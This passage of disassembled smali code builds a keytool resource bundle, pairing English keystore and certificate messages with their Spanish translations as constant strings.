                                                                              22new-array v1, v6, [Ljava/lang/Object;
                                                                              24const-string v2, " "
                                                                              25aput-object v2, v1, v4
                                                                              27const-string v2, " "
                                                                              28aput-object v2, v1, v5
                                                                              29aput-object v1, v0, v6
                                                                              30const/4 v1, 0x3
                                                                              31new-array v2, v6, [Ljava/lang/Object;
                                                                              33const-string v3, ", "
                                                                              34aput-object v3, v2, v4
                                                                              36const-string v3, ", "
                                                                              37aput-object v3, v2, v5
                                                                              38aput-object v2, v0, v1
                                                                              39const/4 v1, 0x4
                                                                              40new-array v2, v6, [Ljava/lang/Object;
                                                                              42const-string v3, "\n"
                                                                              43aput-object v3, v2, v4
                                                                              45const-string v3, "\n"
                                                                              46aput-object v3, v2, v5
                                                                              47aput-object v2, v0, v1
                                                                              48const/4 v1, 0x5
                                                                              49new-array v2, v6, [Ljava/lang/Object;
                                                                              51const-string v3, "*******************************************"
                                                                              52aput-object v3, v2, v4
                                                                              54const-string v3, "*******************************************"
                                                                              55aput-object v3, v2, v5
                                                                              56aput-object v2, v0, v1
                                                                              57const/4 v1, 0x6
                                                                              58new-array v2, v6, [Ljava/lang/Object;
                                                                              60const-string v3, "*******************************************\n\n"
                                                                              61aput-object v3, v2, v4
                                                                              63const-string v3, "*******************************************\n\n"
                                                                              64aput-object v3, v2, v5
                                                                              65aput-object v2, v0, v1
                                                                              66const/4 v1, 0x7
                                                                              67new-array v2, v6, [Ljava/lang/Object;
                                                                              69const-string v3, "keytool error: "
                                                                              70aput-object v3, v2, v4
                                                                              72const-string v3, "error de keytool: "
                                                                              73aput-object v3, v2, v5
                                                                              74aput-object v2, v0, v1
                                                                              75const/16 v1, 0x8
                                                                              76new-array v2, v6, [Ljava/lang/Object;
                                                                              78const-string v3, "Illegal option: "
                                                                              79aput-object v3, v2, v4
                                                                              81const-string v3, "Opci\u00f3n no permitida: "
                                                                              82aput-object v3, v2, v5
                                                                              83aput-object v2, v0, v1
                                                                              84const/16 v1, 0x9
                                                                              85new-array v2, v6, [Ljava/lang/Object;
                                                                              87const-string v3, "Try keytool -help"
                                                                              88aput-object v3, v2, v4
                                                                              90const-string v3, "Probar keytool -help"
                                                                              91aput-object v3, v2, v5
                                                                              92aput-object v2, v0, v1
                                                                              93const/16 v1, 0xa
                                                                              94new-array v2, v6, [Ljava/lang/Object;
                                                                              96const-string v3, "Command option <flag> needs an argument."
                                                                              97aput-object v3, v2, v4
                                                                              99const-string v3, "La opci\u00f3n de comando {0} necesita un argumento."
                                                                              100aput-object v3, v2, v5
                                                                              101aput-object v2, v0, v1
                                                                              102const/16 v1, 0xb
                                                                              103new-array v2, v6, [Ljava/lang/Object;
                                                                              105const-string v3, "Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value."
                                                                              106aput-object v3, v2, v4
                                                                              108const-string v3, "Advertencia: Los archivos de almac\u00e9n de claves en formato PKCS12 no admiten contrase\u00f1as de clave y almacenamiento distintas. Se omite el valor especificado por el usuario {0}."
                                                                              109aput-object v3, v2, v5
                                                                              110aput-object v2, v0, v1
                                                                              111const/16 v1, 0xc
                                                                              112new-array v2, v6, [Ljava/lang/Object;
                                                                              114const-string v3, "-keystore must be NONE if -storetype is {0}"
                                                                              115aput-object v3, v2, v4
                                                                              117const-string v3, "-keystore debe ser NONE si -storetype es {0}"
                                                                              118aput-object v3, v2, v5
                                                                              119aput-object v2, v0, v1
                                                                              120const/16 v1, 0xd
                                                                              121new-array v2, v6, [Ljava/lang/Object;
                                                                              123const-string v3, "Too may retries, program terminated"
                                                                              124aput-object v3, v2, v4
                                                                              126const-string v3, "Ha habido demasiados intentos, se ha cerrado el programa"
                                                                              127aput-object v3, v2, v5
                                                                              128aput-object v2, v0, v1
                                                                              129const/16 v1, 0xe
                                                                              130new-array v2, v6, [Ljava/lang/Object;
                                                                              132const-string v3, "-storepasswd and -keypasswd commands not supported if -storetype is {0}"
                                                                              133aput-object v3, v2, v4
                                                                              135const-string v3, "los comandos -storepasswd y -keypasswd no se admiten si -storetype es {0}"
                                                                              136aput-object v3, v2, v5
                                                                              137aput-object v2, v0, v1
                                                                              138const/16 v1, 0xf
                                                                              139new-array v2, v6, [Ljava/lang/Object;
                                                                              141const-string v3, "-keypasswd commands not supported if -storetype is PKCS12"
                                                                              142aput-object v3, v2, v4
                                                                              144const-string v3, "los comandos -keypasswd no se admiten si -storetype es PKCS12"
                                                                              145aput-object v3, v2, v5
                                                                              146aput-object v2, v0, v1
                                                                              147const/16 v1, 0x10
                                                                              148new-array v2, v6, [Ljava/lang/Object;
                                                                              150const-string v3, "-keypass and -new can not be specified if -storetype is {0}"
                                                                              151aput-object v3, v2, v4
                                                                              153const-string v3, "-keypass y -new no se pueden especificar si -storetype es {0}"
                                                                              154aput-object v3, v2, v5
                                                                              155aput-object v2, v0, v1
                                                                              156const/16 v1, 0x11
                                                                              157new-array v2, v6, [Ljava/lang/Object;
                                                                              159const-string v3, "if -protected is specified, then -storepass, -keypass, and -new must not be specified"
                                                                              160aput-object v3, v2, v4
                                                                              162const-string v3, "si se especifica -protected, no deben especificarse -storepass, -keypass ni -new"
                                                                              163aput-object v3, v2, v5
                                                                              164aput-object v2, v0, v1
                                                                              165const/16 v1, 0x12
                                                                              166new-array v2, v6, [Ljava/lang/Object;
                                                                              168const-string v3, "if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified"
                                                                              169aput-object v3, v2, v4
                                                                              171const-string v3, "si se especifica -srcprotected, no se puede especificar -srcstorepass ni -srckeypass"
                                                                              172aput-object v3, v2, v5
                                                                              173aput-object v2, v0, v1
                                                                              174const/16 v1, 0x13
                                                                              175new-array v2, v6, [Ljava/lang/Object;
                                                                              177const-string v3, "if keystore is not password protected, then -storepass, -keypass, and -new must not be specified"
                                                                              178aput-object v3, v2, v4
                                                                              180const-string v3, "Si keystore no est\u00e1 protegido por contrase\u00f1a, no se deben especificar -storepass, -keypass ni -new"
                                                                              181aput-object v3, v2, v5
                                                                              182aput-object v2, v0, v1
                                                                              183const/16 v1, 0x14
                                                                              184new-array v2, v6, [Ljava/lang/Object;
                                                                              186const-string v3, "if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified"
                                                                              187aput-object v3, v2, v4
                                                                              189const-string v3, "Si keystore de origen no est\u00e1 protegido por contrase\u00f1a, no se deben especificar -srcstorepass ni -srckeypass"
                                                                              190aput-object v3, v2, v5
                                                                              191aput-object v2, v0, v1
                                                                              192const/16 v1, 0x15
                                                                              193new-array v2, v6, [Ljava/lang/Object;
                                                                              195const-string v3, "Validity must be greater than zero"
                                                                              196aput-object v3, v2, v4
                                                                              198const-string v3, "La validez debe ser mayor que cero"
                                                                              199aput-object v3, v2, v5
                                                                              200aput-object v2, v0, v1
                                                                              201const/16 v1, 0x16
                                                                              202new-array v2, v6, [Ljava/lang/Object;
                                                                              204const-string v3, "provName not a provider"
                                                                              205aput-object v3, v2, v4
                                                                              207const-string v3, "{0} no es un proveedor"
                                                                              208aput-object v3, v2, v5
                                                                              209aput-object v2, v0, v1
                                                                              210const/16 v1, 0x17
                                                                              211new-array v2, v6, [Ljava/lang/Object;
                                                                              213const-string v3, "Usage error: no command provided"
                                                                              214aput-object v3, v2, v4
                                                                              216const-string v3, "Error de uso: no se ha proporcionado ning\u00fan comando"
                                                                              217aput-object v3, v2, v5
                                                                              218aput-object v2, v0, v1
                                                                              219const/16 v1, 0x18
                                                                              220new-array v2, v6, [Ljava/lang/Object;
                                                                              222const-string v3, "Usage error, <arg> is not a legal command"
                                                                              223aput-object v3, v2, v4
                                                                              225const-string v3, "Error de uso, {0} no es un comando legal"
                                                                              226aput-object v3, v2, v5
                                                                              227aput-object v2, v0, v1
                                                                              228const/16 v1, 0x19
                                                                              229new-array v2, v6, [Ljava/lang/Object;
                                                                              231const-string v3, "Source keystore file exists, but is empty: "
                                                                              232aput-object v3, v2, v4
                                                                              234const-string v3, "El archivo de almac\u00e9n de claves de origen existe, pero est\u00e1 vac\u00edo: "
                                                                              235aput-object v3, v2, v5
                                                                              236aput-object v2, v0, v1
                                                                              237const/16 v1, 0x1a
                                                                              238new-array v2, v6, [Ljava/lang/Object;
                                                                              240const-string v3, "Please specify -srckeystore"
                                                                              241aput-object v3, v2, v4
                                                                              243const-string v3, "Especifique -srckeystore"
                                                                              244aput-object v3, v2, v5
                                                                              245aput-object v2, v0, v1
                                                                              246const/16 v1, 0x1b
                                                                              247new-array v2, v6, [Ljava/lang/Object;
                                                                              249const-string v3, "Must not specify both -v and -rfc with \'list\' command"
                                                                              250aput-object v3, v2, v4
                                                                              252const-string v3, "No se deben especificar -v y -rfc simult\u00e1neamente con el comando \'list\'"
                                                                              253aput-object v3, v2, v5
                                                                              254aput-object v2, v0, v1
                                                                              255const/16 v1, 0x1c
                                                                              256new-array v2, v6, [Ljava/lang/Object;
                                                                              258const-string v3, "Key password must be at least 6 characters"
                                                                              259aput-object v3, v2, v4
                                                                              261const-string v3, "La contrase\u00f1a clave debe tener al menos 6 caracteres"
                                                                              262aput-object v3, v2, v5
                                                                              263aput-object v2, v0, v1
                                                                              264const/16 v1, 0x1d
                                                                              265new-array v2, v6, [Ljava/lang/Object;
                                                                              267const-string v3, "New password must be at least 6 characters"
                                                                              268aput-object v3, v2, v4
                                                                              270const-string v3, "La nueva contrase\u00f1a debe tener al menos 6 caracteres"
                                                                              271aput-object v3, v2, v5
                                                                              272aput-object v2, v0, v1
                                                                              273const/16 v1, 0x1e
                                                                              274new-array v2, v6, [Ljava/lang/Object;
                                                                              276const-string v3, "Keystore file exists, but is empty: "
                                                                              277aput-object v3, v2, v4
                                                                              279const-string v3, "El archivo de almac\u00e9n de claves existe, pero est\u00e1 vac\u00edo "
                                                                              280aput-object v3, v2, v5
                                                                              281aput-object v2, v0, v1
                                                                              282const/16 v1, 0x1f
                                                                              283new-array v2, v6, [Ljava/lang/Object;
                                                                              285const-string v3, "Keystore file does not exist: "
                                                                              286aput-object v3, v2, v4
                                                                              288const-string v3, "El archivo de almac\u00e9n de claves no existe: "
                                                                              289aput-object v3, v2, v5
                                                                              290aput-object v2, v0, v1
                                                                              291const/16 v1, 0x20
                                                                              292new-array v2, v6, [Ljava/lang/Object;
                                                                              294const-string v3, "Must specify destination alias"
                                                                              295aput-object v3, v2, v4
                                                                              297const-string v3, "Se debe especificar alias de destino"
                                                                              298aput-object v3, v2, v5
                                                                              299aput-object v2, v0, v1
                                                                              300const/16 v1, 0x21
                                                                              301new-array v2, v6, [Ljava/lang/Object;
                                                                              303const-string v3, "Must specify alias"
                                                                              304aput-object v3, v2, v4
                                                                              306const-string v3, "Se debe especificar alias"
                                                                              307aput-object v3, v2, v5
                                                                              308aput-object v2, v0, v1
                                                                              309const/16 v1, 0x22
                                                                              310new-array v2, v6, [Ljava/lang/Object;
                                                                              312const-string v3, "Keystore password must be at least 6 characters"
                                                                              313aput-object v3, v2, v4
                                                                              315const-string v3, "La contrase\u00f1a del almac\u00e9n de claves debe tener al menos 6 caracteres"
                                                                              316aput-object v3, v2, v5
                                                                              317aput-object v2, v0, v1
                                                                              318const/16 v1, 0x23
                                                                              319new-array v2, v6, [Ljava/lang/Object;
                                                                              321const-string v3, "Enter keystore password: "
                                                                              322aput-object v3, v2, v4
                                                                              324const-string v3, "Escriba la contrase\u00f1a del almac\u00e9n de claves: "
                                                                              325aput-object v3, v2, v5
                                                                              326aput-object v2, v0, v1
                                                                              327const/16 v1, 0x24
                                                                              328new-array v2, v6, [Ljava/lang/Object;
                                                                              330const-string v3, "Enter source keystore password: "
                                                                              331aput-object v3, v2, v4
                                                                              333const-string v3, "Escribir contrase\u00f1a de almac\u00e9n de claves de origen: "
                                                                              334aput-object v3, v2, v5
                                                                              335aput-object v2, v0, v1
                                                                              336const/16 v1, 0x25
                                                                              337new-array v2, v6, [Ljava/lang/Object;
                                                                              339const-string v3, "Enter destination keystore password: "
                                                                              340aput-object v3, v2, v4
                                                                              342const-string v3, "Escribir contrase\u00f1a de almac\u00e9n de claves de destino: "
                                                                              343aput-object v3, v2, v5
                                                                              344aput-object v2, v0, v1
                                                                              345const/16 v1, 0x26
                                                                              346new-array v2, v6, [Ljava/lang/Object;
                                                                              348const-string v3, "Keystore password is too short - must be at least 6 characters"
                                                                              349aput-object v3, v2, v4
                                                                              351const-string v3, "La contrase\u00f1a del almac\u00e9n de claves es demasiado corta, debe tener al menos 6 caracteres"
                                                                              352aput-object v3, v2, v5
                                                                              353aput-object v2, v0, v1
                                                                              354const/16 v1, 0x27
                                                                              355new-array v2, v6, [Ljava/lang/Object;
                                                                              357const-string v3, "Unknown Entry Type"
                                                                              358aput-object v3, v2, v4
                                                                              360const-string v3, "Tipo de entrada desconocido"
                                                                              361aput-object v3, v2, v5
                                                                              362aput-object v2, v0, v1
                                                                              363const/16 v1, 0x28
                                                                              364new-array v2, v6, [Ljava/lang/Object;
                                                                              366const-string v3, "Too many failures. Alias not changed"
                                                                              367aput-object v3, v2, v4
                                                                              369const-string v3, "Demasiados errores. No se ha cambiado el alias"
                                                                              370aput-object v3, v2, v5
                                                                              371aput-object v2, v0, v1
                                                                              372const/16 v1, 0x29
                                                                              373new-array v2, v6, [Ljava/lang/Object;
                                                                              375const-string v3, "Entry for alias <alias> successfully imported."
                                                                              376aput-object v3, v2, v4
                                                                              378const-string v3, "Las entradas del alias {0} se han importado correctamente."
                                                                              379aput-object v3, v2, v5
                                                                              380aput-object v2, v0, v1
                                                                              381const/16 v1, 0x2a
                                                                              382new-array v2, v6, [Ljava/lang/Object;
                                                                              384const-string v3, "Entry for alias <alias> not imported."
                                                                              385aput-object v3, v2, v4
                                                                              387const-string v3, "La entrada del alias {0} no se ha importado."
                                                                              388aput-object v3, v2, v5
                                                                              389aput-object v2, v0, v1
                                                                              390const/16 v1, 0x2b
                                                                              391new-array v2, v6, [Ljava/lang/Object;
                                                                              393const-string v3, "Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported."
                                                                              394aput-object v3, v2, v4
                                                                              396const-string v3, "Problema al importar la entrada del alias {0}: {1}.\nNo se ha importado la entrada del alias {0}."
                                                                              397aput-object v3, v2, v5
                                                                              398aput-object v2, v0, v1
                                                                              399const/16 v1, 0x2c
                                                                              400new-array v2, v6, [Ljava/lang/Object;
                                                                              402const-string v3, "Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled"
                                                                              403aput-object v3, v2, v4
                                                                              405const-string v3, "Comando de importaci\u00f3n completado: {0} entradas importadas correctamente, {1} entradas incorrectas o canceladas"
                                                                              406aput-object v3, v2, v5
                                                                              407aput-object v2, v0, v1
                                                                              408const/16 v1, 0x2d
                                                                              409new-array v2, v6, [Ljava/lang/Object;
                                                                              411const-string v3, "Warning: Overwriting existing alias <alias> in destination keystore"
                                                                              412aput-object v3, v2, v4
                                                                              414const-string v3, "Advertencia: Sobrescribiendo el alias {0} en el almac\u00e9n de claves de destino"
                                                                              415aput-object v3, v2, v5
                                                                              416aput-object v2, v0, v1
                                                                              417const/16 v1, 0x2e
                                                                              418new-array v2, v6, [Ljava/lang/Object;
                                                                              420const-string v3, "Existing entry alias <alias> exists, overwrite? [no]: "
                                                                              421aput-object v3, v2, v4
                                                                              423const-string v3, "El alias de entrada {0} ya existe, \u00bfdesea sobrescribirlo? [no]: "
                                                                              424aput-object v3, v2, v5
                                                                              425aput-object v2, v0, v1
                                                                              426const/16 v1, 0x2f
                                                                              427new-array v2, v6, [Ljava/lang/Object;
                                                                              429const-string v3, "Too many failures - try later"
                                                                              430aput-object v3, v2, v4
                                                                              432const-string v3, "Demasiados fallos; int\u00e9ntelo m\u00e1s adelante"
                                                                              433aput-object v3, v2, v5
                                                                              434aput-object v2, v0, v1
                                                                              435const/16 v1, 0x30
                                                                              436new-array v2, v6, [Ljava/lang/Object;
                                                                              438const-string v3, "Certification request stored in file <filename>"
                                                                              439aput-object v3, v2, v4
                                                                              441const-string v3, "Solicitud de certificaci\u00f3n almacenada en el archivo <{0}>"
                                                                              442aput-object v3, v2, v5
                                                                              443aput-object v2, v0, v1
                                                                              444const/16 v1, 0x31
                                                                              445new-array v2, v6, [Ljava/lang/Object;
                                                                              447const-string v3, "Submit this to your CA"
                                                                              448aput-object v3, v2, v4
                                                                              450const-string v3, "Enviar a la CA"
                                                                              451aput-object v3, v2, v5
                                                                              452aput-object v2, v0, v1
                                                                              453const/16 v1, 0x32
                                                                              454new-array v2, v6, [Ljava/lang/Object;
                                                                              456const-string v3, "if alias not specified, destalias, srckeypass, and destkeypass must not be specified"
                                                                              457aput-object v3, v2, v4
                                                                              459const-string v3, "si no se especifica el alias, no se puede especificar destalias, srckeypass ni destkeypass"
                                                                              460aput-object v3, v2, v5
                                                                              461aput-object v2, v0, v1
                                                                              462const/16 v1, 0x33
                                                                              463new-array v2, v6, [Ljava/lang/Object;
                                                                              465const-string v3, "Certificate stored in file <filename>"
                                                                              466aput-object v3, v2, v4
                                                                              468const-string v3, "Certificado almacenado en el archivo <{0}>"
                                                                              469aput-object v3, v2, v5
                                                                              470aput-object v2, v0, v1
                                                                              471const/16 v1, 0x34
                                                                              472new-array v2, v6, [Ljava/lang/Object;
                                                                              474const-string v3, "Certificate reply was installed in keystore"
                                                                              475aput-object v3, v2, v4
                                                                              477const-string v3, "Se ha instalado la respuesta del certificado en el almac\u00e9n de claves"
                                                                              478aput-object v3, v2, v5
                                                                              479aput-object v2, v0, v1
                                                                              480const/16 v1, 0x35
                                                                              481new-array v2, v6, [Ljava/lang/Object;
                                                                              483const-string v3, "Certificate reply was not installed in keystore"
                                                                              484aput-object v3, v2, v4
                                                                              486const-string v3, "No se ha instalado la respuesta del certificado en el almac\u00e9n de claves"
                                                                              487aput-object v3, v2, v5
                                                                              488aput-object v2, v0, v1
                                                                              489const/16 v1, 0x36
                                                                              490new-array v2, v6, [Ljava/lang/Object;
                                                                              492const-string v3, "Certificate was added to keystore"
                                                                              493aput-object v3, v2, v4
                                                                              495const-string v3, "Se ha a\u00f1adido el certificado al almac\u00e9n de claves"
                                                                              496aput-object v3, v2, v5
                                                                              497aput-object v2, v0, v1
                                                                              498const/16 v1, 0x37
                                                                              499new-array v2, v6, [Ljava/lang/Object;
                                                                              501const-string v3, "Certificate was not added to keystore"
                                                                              502aput-object v3, v2, v4
                                                                              504const-string v3, "No se ha a\u00f1adido el certificado al almac\u00e9n de claves"
                                                                              505aput-object v3, v2, v5
                                                                              506aput-object v2, v0, v1
                                                                              507const/16 v1, 0x38
                                                                              508new-array v2, v6, [Ljava/lang/Object;
                                                                              510const-string v3, "[Storing ksfname]"
                                                                              511aput-object v3, v2, v4
                                                                              513const-string v3, "[Almacenando {0}]"
                                                                              514aput-object v3, v2, v5
                                                                              515aput-object v2, v0, v1
                                                                              516const/16 v1, 0x39
                                                                              517new-array v2, v6, [Ljava/lang/Object;
                                                                              519const-string v3, "alias has no public key (certificate)"
                                                                              520aput-object v3, v2, v4
                                                                              522const-string v3, "{0} no tiene clave p\u00fablica (certificado)"
                                                                              523aput-object v3, v2, v5
                                                                              524aput-object v2, v0, v1
                                                                              525const/16 v1, 0x3a
                                                                              526new-array v2, v6, [Ljava/lang/Object;
                                                                              528const-string v3, "Cannot derive signature algorithm"
                                                                              529aput-object v3, v2, v4
                                                                              531const-string v3, "No se puede derivar el algoritmo de firma"
                                                                              532aput-object v3, v2, v5
                                                                              533aput-object v2, v0, v1
                                                                              534const/16 v1, 0x3b
                                                                              535new-array v2, v6, [Ljava/lang/Object;
                                                                              537const-string v3, "Alias <alias> does not exist"
                                                                              538aput-object v3, v2, v4
                                                                              540const-string v3, "El alias <{0}> no existe"
                                                                              541aput-object v3, v2, v5
                                                                              542aput-object v2, v0, v1
                                                                              543const/16 v1, 0x3c
                                                                              544new-array v2, v6, [Ljava/lang/Object;
                                                                              546const-string v3, "Alias <alias> has no certificate"
                                                                              547aput-object v3, v2, v4
                                                                              549const-string v3, "El alias <{0}> no tiene certificado"
                                                                              550aput-object v3, v2, v5
                                                                              551aput-object v2, v0, v1
                                                                              552const/16 v1, 0x3d
                                                                              553new-array v2, v6, [Ljava/lang/Object;
                                                                              555const-string v3, "Key pair not generated, alias <alias> already exists"
                                                                              556aput-object v3, v2, v4
                                                                              558const-string v3, "No se ha generado el par de claves, el alias <{0}> ya existe"
                                                                              559aput-object v3, v2, v5
                                                                              560aput-object v2, v0, v1
                                                                              561const/16 v1, 0x3e
                                                                              562new-array v2, v6, [Ljava/lang/Object;
                                                                              564const-string v3, "Cannot derive signature algorithm"
                                                                              565aput-object v3, v2, v4
                                                                              567const-string v3, "No se puede derivar el algoritmo de firma"
                                                                              568aput-object v3, v2, v5
                                                                              569aput-object v2, v0, v1
                                                                              570const/16 v1, 0x3f
                                                                              571new-array v2, v6, [Ljava/lang/Object;
                                                                              573const-string v3, "Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name"
                                                                              574aput-object v3, v2, v4
                                                                              576const-string v3, "Generando par de claves {1} de {0} bits para certificado autofirmado ({2}) con una validez de {3} d\u00edas\n\tpara: {4}"
                                                                              577aput-object v3, v2, v5
                                                                              578aput-object v2, v0, v1
                                                                              579const/16 v1, 0x40
                                                                              580new-array v2, v6, [Ljava/lang/Object;
                                                                              582const-string v3, "Enter key password for <alias>"
                                                                              583aput-object v3, v2, v4
                                                                              585const-string v3, "Escriba la contrase\u00f1a clave para <{0}>"
                                                                              586aput-object v3, v2, v5
                                                                              587aput-object v2, v0, v1
                                                                              588const/16 v1, 0x41
                                                                              589new-array v2, v6, [Ljava/lang/Object;
                                                                              591const-string v3, "\t(RETURN if same as keystore password): "
                                                                              592aput-object v3, v2, v4
                                                                              594const-string v3, "\t(INTRO si es la misma contrase\u00f1a que la del almac\u00e9n de claves): "
                                                                              595aput-object v3, v2, v5
                                                                              596aput-object v2, v0, v1
                                                                              597const/16 v1, 0x42
                                                                              598new-array v2, v6, [Ljava/lang/Object;
                                                                              600const-string v3, "Key password is too short - must be at least 6 characters"
                                                                              601aput-object v3, v2, v4
                                                                              603const-string v3, "La contrase\u00f1a clave es demasiado corta; debe tener al menos 6 caracteres"
                                                                              604aput-object v3, v2, v5
                                                                              605aput-object v2, v0, v1
                                                                              606const/16 v1, 0x43
                                                                              607new-array v2, v6, [Ljava/lang/Object;
                                                                              609const-string v3, "Too many failures - key not added to keystore"
                                                                              610aput-object v3, v2, v4
                                                                              612const-string v3, "Demasiados fallos; no se ha agregado la clave al almac\u00e9n de claves"
                                                                              613aput-object v3, v2, v5
                                                                              614aput-object v2, v0, v1
                                                                              615const/16 v1, 0x44
                                                                              616new-array v2, v6, [Ljava/lang/Object;
                                                                              618const-string v3, "Destination alias <dest> already exists"
                                                                              619aput-object v3, v2, v4
                                                                              621const-string v3, "El alias de destino <{0}> ya existe"
                                                                              622aput-object v3, v2, v5
                                                                              623aput-object v2, v0, v1
                                                                              624const/16 v1, 0x45
                                                                              625new-array v2, v6, [Ljava/lang/Object;
                                                                              627const-string v3, "Password is too short - must be at least 6 characters"
                                                                              628aput-object v3, v2, v4
                                                                              630const-string v3, "La contrase\u00f1a es demasiado corta; debe tener al menos 6 caracteres"
                                                                              631aput-object v3, v2, v5
                                                                              632aput-object v2, v0, v1
                                                                              633const/16 v1, 0x46
                                                                              634new-array v2, v6, [Ljava/lang/Object;
                                                                              636const-string v3, "Too many failures. Key entry not cloned"
                                                                              637aput-object v3, v2, v4
                                                                              639const-string v3, "Demasiados errores. No se ha copiado la entrada de clave"
                                                                              640aput-object v3, v2, v5
                                                                              641aput-object v2, v0, v1
                                                                              642const/16 v1, 0x47
                                                                              643new-array v2, v6, [Ljava/lang/Object;
                                                                              645const-string v3, "key password for <alias>"
                                                                              646aput-object v3, v2, v4
                                                                              648const-string v3, "contrase\u00f1a clave para <{0}>"
                                                                              649aput-object v3, v2, v5
                                                                              650aput-object v2, v0, v1
                                                                              651const/16 v1, 0x48
                                                                              652new-array v2, v6, [Ljava/lang/Object;
                                                                              654const-string v3, "Keystore entry for <id.getName()> already exists"
                                                                              655aput-object v3, v2, v4
                                                                              657const-string v3, "La entrada de almac\u00e9n de claves para <{0}> ya existe"
                                                                              658aput-object v3, v2, v5
                                                                              659aput-object v2, v0, v1
                                                                              660const/16 v1, 0x49
                                                                              661new-array v2, v6, [Ljava/lang/Object;
                                                                              663const-string v3, "Creating keystore entry for <id.getName()> ..."
                                                                              664aput-object v3, v2, v4
                                                                              666const-string v3, "Creando entrada de almac\u00e9n de claves para <{0}> ..."
                                                                              667aput-object v3, v2, v5
                                                                              668aput-object v2, v0, v1
                                                                              669const/16 v1, 0x4a
                                                                              670new-array v2, v6, [Ljava/lang/Object;
                                                                              672const-string v3, "No entries from identity database added"
                                                                              673aput-object v3, v2, v4
                                                                              675const-string v3, "No se han agregado entradas de la base de datos de identidades"
                                                                              676aput-object v3, v2, v5
                                                                              677aput-object v2, v0, v1
                                                                              678const/16 v1, 0x4b
                                                                              679new-array v2, v6, [Ljava/lang/Object;
                                                                              681const-string v3, "Alias name: alias"
                                                                              682aput-object v3, v2, v4
                                                                              684const-string v3, "Nombre de alias: {0}"
                                                                              685aput-object v3, v2, v5
                                                                              686aput-object v2, v0, v1
                                                                              687const/16 v1, 0x4c
                                                                              688new-array v2, v6, [Ljava/lang/Object;
                                                                              690const-string v3, "Creation date: keyStore.getCreationDate(alias)"
                                                                              691aput-object v3, v2, v4
                                                                              693const-string v3, "Fecha de creaci\u00f3n: {0,date}"
                                                                              694aput-object v3, v2, v5
                                                                              695aput-object v2, v0, v1
                                                                              696const/16 v1, 0x4d
                                                                              697new-array v2, v6, [Ljava/lang/Object;
                                                                              699const-string v3, "alias, keyStore.getCreationDate(alias), "
                                                                              700aput-object v3, v2, v4
                                                                              702const-string v3, "{0}, {1,date}, "
                                                                              703aput-object v3, v2, v5
                                                                              704aput-object v2, v0, v1
                                                                              705const/16 v1, 0x4e
                                                                              706new-array v2, v6, [Ljava/lang/Object;
                                                                              708const-string v3, "alias, "
                                                                              709aput-object v3, v2, v4
                                                                              711const-string v3, "{0}, "
                                                                              712aput-object v3, v2, v5
                                                                              713aput-object v2, v0, v1
                                                                              714const/16 v1, 0x4f
                                                                              715new-array v2, v6, [Ljava/lang/Object;
                                                                              717const-string v3, "Entry type: <type>"
                                                                              718aput-object v3, v2, v4
                                                                              720const-string v3, "Tipo de entrada: {0}"
                                                                              721aput-object v3, v2, v5
                                                                              722aput-object v2, v0, v1
                                                                              723const/16 v1, 0x50
                                                                              724new-array v2, v6, [Ljava/lang/Object;
                                                                              726const-string v3, "Certificate chain length: "
                                                                              727aput-object v3, v2, v4
                                                                              729const-string v3, "Longitud de la cadena de certificado: "
                                                                              730aput-object v3, v2, v5
                                                                              731aput-object v2, v0, v1
                                                                              732const/16 v1, 0x51
                                                                              733new-array v2, v6, [Ljava/lang/Object;
                                                                              735const-string v3, "Certificate[(i + 1)]:"
                                                                              736aput-object v3, v2, v4
                                                                              738const-string v3, "Certificado[{0,number,integer}]:"
                                                                              739aput-object v3, v2, v5
                                                                              740aput-object v2, v0, v1
                                                                              741const/16 v1, 0x52
                                                                              742new-array v2, v6, [Ljava/lang/Object;
                                                                              744const-string v3, "Certificate fingerprint (MD5): "
                                                                              745aput-object v3, v2, v4
                                                                              747const-string v3, "Huella digital de certificado (MD5): "
                                                                              748aput-object v3, v2, v5
                                                                              749aput-object v2, v0, v1
                                                                              750const/16 v1, 0x53
                                                                              751new-array v2, v6, [Ljava/lang/Object;
                                                                              753const-string v3, "Entry type: trustedCertEntry\n"
                                                                              754aput-object v3, v2, v4
                                                                              756const-string v3, "Tipo de entrada: trustedCertEntry\n"
                                                                              757aput-object v3, v2, v5
                                                                              758aput-object v2, v0, v1
                                                                              759const/16 v1, 0x54
                                                                              760new-array v2, v6, [Ljava/lang/Object;
                                                                              762const-string v3, "trustedCertEntry,"
                                                                              763aput-object v3, v2, v4
                                                                              765const-string v3, "trustedCertEntry,"
                                                                              766aput-object v3, v2, v5
                                                                              767aput-object v2, v0, v1
                                                                              768const/16 v1, 0x55
                                                                              769new-array v2, v6, [Ljava/lang/Object;
                                                                              771const-string v3, "Keystore type: "
                                                                              772aput-object v3, v2, v4
                                                                              774const-string v3, "Tipo de almac\u00e9n de claves: "
                                                                              775aput-object v3, v2, v5
                                                                              776aput-object v2, v0, v1
                                                                              777const/16 v1, 0x56
                                                                              778new-array v2, v6, [Ljava/lang/Object;
                                                                              780const-string v3, "Keystore provider: "
                                                                              781aput-object v3, v2, v4
                                                                              783const-string v3, "Proveedor de almac\u00e9n de claves: "
                                                                              784aput-object v3, v2, v5
                                                                              785aput-object v2, v0, v1
                                                                              786const/16 v1, 0x57
                                                                              787new-array v2, v6, [Ljava/lang/Object;
                                                                              789const-string v3, "Your keystore contains keyStore.size() entry"
                                                                              790aput-object v3, v2, v4
                                                                              792const-string v3, "Su almac\u00e9n de claves contiene entrada {0,number,integer}"
                                                                              793aput-object v3, v2, v5
                                                                              794aput-object v2, v0, v1
                                                                              795const/16 v1, 0x58
                                                                              796new-array v2, v6, [Ljava/lang/Object;
                                                                              798const-string v3, "Your keystore contains keyStore.size() entries"
                                                                              799aput-object v3, v2, v4
                                                                              801const-string v3, "Su almac\u00e9n de claves contiene {0,number,integer} entradas"
                                                                              802aput-object v3, v2, v5
                                                                              803aput-object v2, v0, v1
                                                                              804const/16 v1, 0x59
                                                                              805new-array v2, v6, [Ljava/lang/Object;
                                                                              807const-string v3, "Failed to parse input"
                                                                              808aput-object v3, v2, v4
                                                                              810const-string v3, "Error al analizar la entrada"
                                                                              811aput-object v3, v2, v5
                                                                              812aput-object v2, v0, v1
                                                                              813const/16 v1, 0x5a
                                                                              814new-array v2, v6, [Ljava/lang/Object;
